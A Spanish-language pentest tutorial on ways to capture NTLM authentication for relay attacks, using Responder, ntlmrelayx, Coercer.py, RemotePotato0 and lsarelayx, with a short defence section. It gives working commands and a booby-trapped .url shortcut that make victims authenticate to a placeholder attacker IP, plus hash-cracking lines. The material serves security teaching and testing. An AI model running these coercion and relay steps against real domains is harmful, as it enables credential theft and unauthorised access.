¿Por qué todavía encontramos la autenticación NTLM en muchas infraestructuras? Porque Windows no puede existir sin ella. Pero la autenticación NTLM tiene una serie de problemas que los atacantes aprovechan. Uno de ellos es la posibilidad de ataques NTLM Relay (o retransmisión NTLM). En este artículo, discutiremos las formas de capturar la autenticación para realizar un ataque NTLM Relay.
Teoría
NTLM es un protocolo de autenticación en redes Windows NT [NTLM es un método que Windows usa para verificar la identidad de usuarios o dispositivos en una red]. De hecho, se ha extendido a otros dominios, como ALD o FreeIPA. Para no profundizar en la teoría, explicaremos su funcionamiento con un esquema simple.

- El cliente inicia el proceso de autenticación con un mensaje especial (llamado NEGOTIATE).
- El servidor envía un valor aleatorio (conocido como CHALLENGE) al cliente.
- El cliente cifra el valor aleatorio con su secreto (un hash derivado de la contraseña) y lo envía al servidor para su verificación.
En un caso simple, todo está claro: hay un cliente, hay un servidor, el cliente pasa la autenticación usando el protocolo NTLM. Ahora agreguemos un atacante a nuestro esquema.

Del esquema entendemos que el atacante, en su estación de trabajo, implementa un servidor y un cliente para interactuar con el protocolo NTLM. Veamos qué ocurre:
- El cliente (víctima) envía un mensaje para iniciar la autenticación NTLM – NEGOTIATE. El atacante intercepta este mensaje usando su servidor.
- El atacante envía desde su cliente un mensaje para iniciar la autenticación NTLM – NEGOTIATE (este mensaje es idéntico al de la víctima) al servidor objetivo.
- El servidor objetivo envía al atacante un mensaje con un valor aleatorio – CHALLENGE.
- El atacante envía el mismo CHALLENGE a la víctima (paso 3).
- La víctima cifra el CHALLENGE con su hash NTLM y lo envía al servidor.
- El atacante intercepta la respuesta de la víctima y la reenvía al servidor objetivo. El atacante se autentica con éxito en el servidor objetivo.
El esquema es claro, pero hay matices. Primero, NTLM se usa con varios protocolos como SMB, LDAP o RPC (Estos son protocolos que permiten compartir archivos, administrar directorios o ejecutar comandos remotos). Segundo, se pueden usar diferentes hashes: NetNTLMv1 y NetNTLMv2, con características que afectan el resultado del ataque.
Existen dos versiones del protocolo: NTLMv1 y NTLMv2. NetNTLMv1 (usado en NTLMv1) está obsoleto:
- Solo el CHALLENGE (del servidor) es aleatorio. Al falsificar el servidor, se puede falsificar el CHALLENGE y preparar tablas arcoíris [Las tablas arcoíris son bases de datos precalculadas para descifrar contraseñas rápidamente].
- Existen métodos para recuperar el hash NT desde el hash NetNTLMv1 (ver Crack.SH para más información).
- No hay verificación de integridad del mensaje (MIC – message integrity code), lo que lo hace vulnerable a ataques NTLM Relay entre protocolos.
NTLMv2 usa NetNTLMv2. Los desarrolladores intentaron solucionar los problemas de NTLMv1. Invertir este hash en un tiempo razonable a NT no es posible. No se pueden preparar tablas arcoíris debido a la marca de tiempo añadida a CHALLENGE. Los ataques NTLM Relay son más complejos, tema para otro artículo.
Este artículo analiza métodos para capturar la autenticación NTLM para ataques NTLM Relay. El siguiente artículo tratará los ataques NTLM Relay en sí.
Lo más simple con un hash NetNTLM (cualquier versión) es intentar adivinar la contraseña con un diccionario:
hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)
hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2)Nota: Hashcat es una herramienta para intentar descifrar contraseñas probando muchas combinaciones; “wordlist” es una lista de contraseñas comunes y “rules” son reglas para modificar esas contraseñas.
Captura con Responder
Una forma sencilla de obtener la autenticación NTLM es usar spoofing con Responder (en Kali).
Spoofing es hacerse pasar por otro dispositivo en la red; Kali es un sistema operativo usado por hackers éticos.
INFO
Se puede usar NetBIOS spoofing con Responder y la autenticación obtenida para un ataque NTLM Relay. Desactiva SMB, HTTP y DCE RPC en la configuración de Responder para evitar conflictos con ntlmrelayx. Luego, inicia Responder y ntlmrelayx.
Muchos han usado Responder para capturar hashes. Responder ofrece varios servidores para capturar y procesar autenticaciones.

Captura de hash NetNTLM con Responder:

El formato es adecuado para brute force con hashcat. Responder guarda los hashes en /usr/share/responder/Responder.db (SQLite). Abre la base de datos con:
sqlitebrowser /usr/share/responder/Responder.db
El archivo de configuración es /etc/responder/Responder.conf. Sirve para activar o desactivar servidores.

Responder es esencial para ataques de spoofing en redes Windows. Requiere tráfico broadcast NBNS, LLMNR y mDNS (estos son protocolos que los dispositivos usan para descubrirse en una red local). Puedes monitorearlo con Wireshark (filtro NBNS).

En lugar de análisis visual, inicia Responder en modo análisis:
responder -I eth0 -A
Para ataques de spoofing:
responder -I eth0 -dwFSi el ataque tiene éxito, pasamos al siguiente paso.

Captura de autenticación NTLM para ataques NTLM Relay
Para ataques NTLM Relay, ntlmrelayx (impacket) es ideal. Implementa protocolos comunes para capturar la autenticación NTLM. ntlmrelayx es cliente-servidor; analizaremos sus RelayServers, e incluso añadiremos uno nuevo.
INFO
Los puertos de los RelayServer ntlmrelayx se pueden cambiar, útil para ataques complejos.
SMB (445/TCP)
SMB es el protocolo más usado para ataques NTLM Relay (SMB permite compartir archivos y carpetas en una red). Métodos para capturar autenticación:
- Ataques de coerción (forzar autenticación):
- Anónimamente (PetitPotam, CVE-2021-36942)
- Con credenciales
- Usar accesos directos en carpetas compartidas con escritura:
- Anónimamente
- Con credenciales
- Forzar manualmente
- Ataque MITM (MITM significa “Man-in-the-Middle”, un ataque donde el atacante se interpone entre la víctima y el servidor).
Ataques de Coerción
Si tienes credenciales, la coerción es una característica, no una vulnerabilidad. Se puede forzar con scripts como Coercer.py (soporta varios métodos, incluyendo anónimo).
INFO
Los ataques de coerción funcionan en puertos 139, 135 y 4915 además del 445.
Ejecución de Coercer.py
python3 Coercer.py coerce -l 192.168.0.72 -t 192.168.0.200 -u 'Admin' -p 'P@ssw0rd' -d 'test.local' --always-continue 
Se obtiene la cuenta de la máquina.

Es importante tener en cuenta que como resultado de ejecutar un ataque de este tipo obtenemos exactamente una cuenta de máquina, esto es algo a tener en cuenta a la hora de planificar ataques Relay.
Accesos directos
Las técnicas slinky y scuffy son efectivas. Si hay carpetas con escritura abierta, coloca accesos directos apuntando a la IP del atacante. Al abrir la carpeta, se obtendrá la autenticación NTLM en SMB. Se puede hacer con:
- PyLnk 3 (Kali)
- CrackMapExec (Kali)
- Manualmente
Usaremos un método diferente a slinky y scuffy:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<attacker IP>\%USERNAME%.icon
IconIndex=1- Colocamos el acceso directo en la carpeta compartida

El hash se captura con Responder, pero se puede usar ntlmrelayx para un ataque NTLM Relay.
Forzando manualmente
Si puedes ejecutar código en una máquina del dominio (ej. comprometiendo PostgreSQL), fuerza la autenticación SMB con:
dir \\<attacker IP>\aMITM
Ataques como ARP spoofing, DHCPv6 spoofing o NetBIOS spoofing (Responder) permiten capturar la autenticación NTLM. Son destructivas, así que úsalas solo si es necesario. No profundizaremos en MITM aquí.
RPC (135/TCP)
En el repositorio de GitHub está disponible RPCRelayServer. Por ahora, el script no se ha incorporado a la rama principal de impacket, pero me parece que es solo cuestión de tiempo. Quienes quieran probarlo ya pueden actualizarlo manualmente. Después de añadir los scripts y componentes necesarios a ntlmrelayx, podremos aceptar autenticaciones en el puerto 135/TCP
RPC es un protocolo que permite ejecutar comandos remotos en una máquina; el puerto 135 es comúnmente usado para esto en Windows.
Obtener una autenticación NTLM en el puerto 135 se puede lograr de varias formas:
- Usar SweetPotato.
- Forzar manualmente (triggear).
- Realizar un ataque MITM [Nota: MITM significa “Man-in-the-Middle”, donde el atacante intercepta comunicaciones entre dos partes].
SweetPotato
En resumen, la idea es similar a PetitPotam: obtendremos una autenticación en nombre de la máquina, pero solo en el puerto 135 (Esto significa que la autenticación representa a la cuenta de la máquina en la red, no a un usuario específico).
Forzar Manualmente
Si tenemos la posibilidad de ejecutar código de forma remota en una máquina del dominio, o simplemente para experimentos, podemos forzar (triggear) una conexión a DCE RPC de la siguiente manera:
rpcping /s <attacker IP> /e 135 /a privacy /u NTLMEjemplo de Captura de Autenticación en DCE RPC
Obtenemos la autenticación y realizamos un Relay a SMB (usamos la autenticación capturada para acceder a recursos compartidos, como carpetas en red).

Obtenemos acceso a carpetas compartidas en red.
HTTP (80/TCP)
Obtener una autenticación NTLM en HTTP se puede lograr de varias formas:
- Aplicar ataques de coerción (si WebDav está habilitado).
- Usar PrivExchange.
- Forzar manualmente (triggear).
- Explotar RemotePotato0.
- Realizar un ataque MITM.
Ataques de Coerción
Con los ataques de coerción en HTTP, todo es análogo a SMB, con la diferencia de que, para forzar la autenticación en HTTP, es necesario que la máquina objetivo tenga habilitado WebDav (WebDav es una extensión de HTTP que permite gestionar archivos en un servidor remoto).
INFO
Si WebDav está deshabilitado, se puede intentar activarlo usando un acceso directo. Además, el atacante necesita una entrada DNS propia en el dominio objetivo. Si WebDav está habilitado, solo queda forzar a la máquina a autenticarse usando Coercer.py o cualquier otro script, como PetitPotam.
Forzamos a la máquina a pasar la autenticación en HTTP.

Para verificar si WebDav está habilitado, se puede usar el siguiente comando:
crackmapexec smb <target IP> -u <user> -p <password> -M webdav
PrivExchange
La técnica de coerción en Exchange, conocida como PrivExchange, se basa en las vulnerabilidades CVE-2019-0686 y CVE-2019-0724. Para más detalles sobre su uso, lee el artículo «Abusing Exchange: One API call away from Domain Admin.».
Forzar Manualmente
Si tenemos la posibilidad de ejecutar código de forma remota en una máquina del dominio, podemos forzar (triggear) una conexión a HTTP usando autenticación básica (Basic auth). El comando es el siguiente:
powershell -c "Invoke-WebRequest -Uri http://<attacker IP>/ -UseDefaultCredentials"RemotePotato0
Al elevar privilegios con la técnica RemotePotato0, en cierto punto obtenemos una autenticación HTTP que podemos usar para un ataque NTLM Relay. La clave de este ataque es elegir el CLSID correcto (CLSID es un identificador único usado en Windows para invocar ciertos servicios).
En la máquina a la que tenemos acceso por RDP, ejecutamos el exploit RemotePotato0.exe.

En la máquina del atacante, ejecutamos ntlmrelayx. Obtenemos un certificado en nombre del administrador del dominio.

INFO
Para ver el ID de sesión necesario para el ataque, usa el comando:
query userWCF (9389/TCP)
Uno de los métodos inusuales para obtener una autenticación NTLM es a través del protocolo WCF (Windows Communication Foundation) (WCF es un marco de Microsoft para crear aplicaciones que se comunican en red). Para entender qué es y cómo funciona, consulta el sitio de Microsoft. Como adelanto, mencionaré que el módulo de Active Directory para PowerShell está basado en el protocolo WCF.
Nos interesa más cómo usarlo en ataques Relay. La primera investigación al respecto fue realizada en 2020 por @cnotin, quien creó WCFRelayServer para ntlmrelayx.
Obtener una autenticación en WCF se puede lograr de las siguientes formas:
- Forzar manualmente (triggear).
- Realizar un ataque MITM.
Forzar Manualmente
Si tenemos la posibilidad de ejecutar código de forma remota en una máquina del dominio, podemos forzar (triggear) una conexión a WCF en el puerto 9389/TCP usando NetNTLM. El método es el siguiente:
powershell -c "get-aduser -filter * -server IP"Esta autenticación puede aparecer inesperadamente durante un pentest, por ejemplo, al realizar un ataque de ARP spoofing en un segmento de red donde se encuentran administradores.
RAW (TCP Arbitrario)
Este protocolo y técnica en general fueron un gran descubrimiento para mí al escribir este artículo. Por ahora, la única forma de obtener una autenticación en RAWRelayServer es usando lsarelayx.
El método propuesto es bastante simple: ejecutamos lsarelayx en una máquina Windows comprometida y comenzamos a forzar autenticaciones en todos los hosts objetivo, o simplemente esperamos a que un usuario privilegiado inicie sesión en la máquina. Al recibir la autenticación, lsarelayx la intercepta y la reenvía a nuestra máquina. Esto funciona como una especie de backdoor.
El proceso funciona aproximadamente según el siguiente esquema:

Al realizar experimentos con lsarelayx, llegamos a la conclusión de que todas las Relay-ataques funcionan según el protocolo desde el cual se obtuvo la autenticación, y RAW actúa solo como un eslabón intermedio en la cadena del ataque Relay.
Para ejecutar lsarelayx, se usa el siguiente comando:
lsarelayx.exe --host <attacker IP>Así, en la máquina comprometida ejecutamos lsarelayx.

En nuestra máquina, recibimos la autenticación desde lsarelayx en RAWRelayServer y la reenviamos a SMB.

Como resultado, obtenemos beneficios dependiendo de los privilegios de la autenticación capturada.

Para concluir la discusión sobre este servidor, me gustaría añadir que Windows Defender detecta y elimina lsarelayx de inmediato, por lo que probablemente será necesario esforzarse para ejecutarlo.
Obtener Autenticación NTLM con NAT o Firewall
No será posible realizar un Relay si no hay conexiones de red disponibles hasta la máquina del atacante. Esto puede estar bloqueado por NAT o un firewall (NAT es una técnica que oculta direcciones IP privadas; un firewall bloquea conexiones no autorizadas). Existen varias soluciones posibles para este problema:
- En esta situación, hay que buscar una máquina con Linux a la que puedan llegar las conexiones; casi siempre es posible encontrarla.
- Una buena opción es implementar una máquina virtual con Linux en un nodo con Windows.
- Si no es posible o el tiempo apremia, se puede considerar ejecutar ntlmrelayx en un servidor con una IP pública, pero hay que tener en cuenta los riesgos: la autenticación viajará por Internet en texto plano.
Bonus #1: Usar socat con WebDav y DNS
Al forzar una autenticación en HTTP, parece que con WebDav todo está claro: o está habilitado o no. Sin embargo, con la entrada DNS no es tan sencillo. Si nuestra máquina no tiene una entrada DNS, siempre podemos intentar buscar un host que sí la tenga. No importa si es Windows o Linux; con socat, podemos reenviar el puerto 80 y recibir las autenticaciones deseadas. En un esquema, se vería aproximadamente así:

Ejecutamos socat para reenviar el puerto 80 desde una máquina con una entrada DNS al host del atacante.

Ejecutamos ntlmrelayx en la máquina del atacante.

Forzamos a la máquina a pasar la autenticación NTLM en el host donde está ejecutado socat. En el esquema, esto sería work2.

La máquina work2 intenta autenticarse en work3 y termina en el host del atacante.

Bonus #2: Monitoreo con Responder para Sistemas que Usan NTLM
A veces, nos encontramos con sistemas que intentan autenticarse mediante NTLM usando una cuenta del dominio. Esto es común en antivirus, sistemas DLP (prevención de pérdida de datos) y sistemas de backup.
Detectar esto es bastante sencillo: ejecutamos Responder en modo análisis durante un tiempo prolongado y observamos si alguien intenta autenticarse.
Una vez confirmado que algo en el dominio intenta autenticarse periódicamente, podemos ejecutar ntlmrelayx y esperar a que la cuenta intente autenticarse en nuestro nodo. Si elegimos correctamente el destino del Relay, podemos establecernos en el dominio y luego elevar privilegios hasta administrador.
Este ejemplo nos lleva suavemente al tema del próximo artículo: los ataques NTLM Relay. En él, intentaremos entender qué son, cómo realizarlos y qué beneficios se pueden obtener.
Protección
Como medidas de protección, se recomienda lo siguiente:
- Instalar actualizaciones de seguridad regularmente.
- Evitar la existencia de carpetas compartidas con acceso anónimo de escritura.
- Desactivar NetBIOS.
- Desactivar IPv6 si no es necesario. (lee: Cómo Preferir IPv4 sobre IPv6 en Redes Windows)
- Aplicar medidas para mitigar ataques de coerción (Por ejemplo, configurar políticas en Windows para limitar el uso de NTLM o habilitar SMB signing).
Conclusiones
Estoy seguro de que en este artículo no se han enumerado todos los métodos posibles para obtener una autenticación NTLM. Si se te ocurren ideas, tienes experiencia con métodos alternativos o quieres compartir algo, estaré encantado de recibir retroalimentación.
La principal conclusión es que los métodos para obtener autenticaciones NTLM para ataques Relay están limitados solo por la imaginación del atacante.


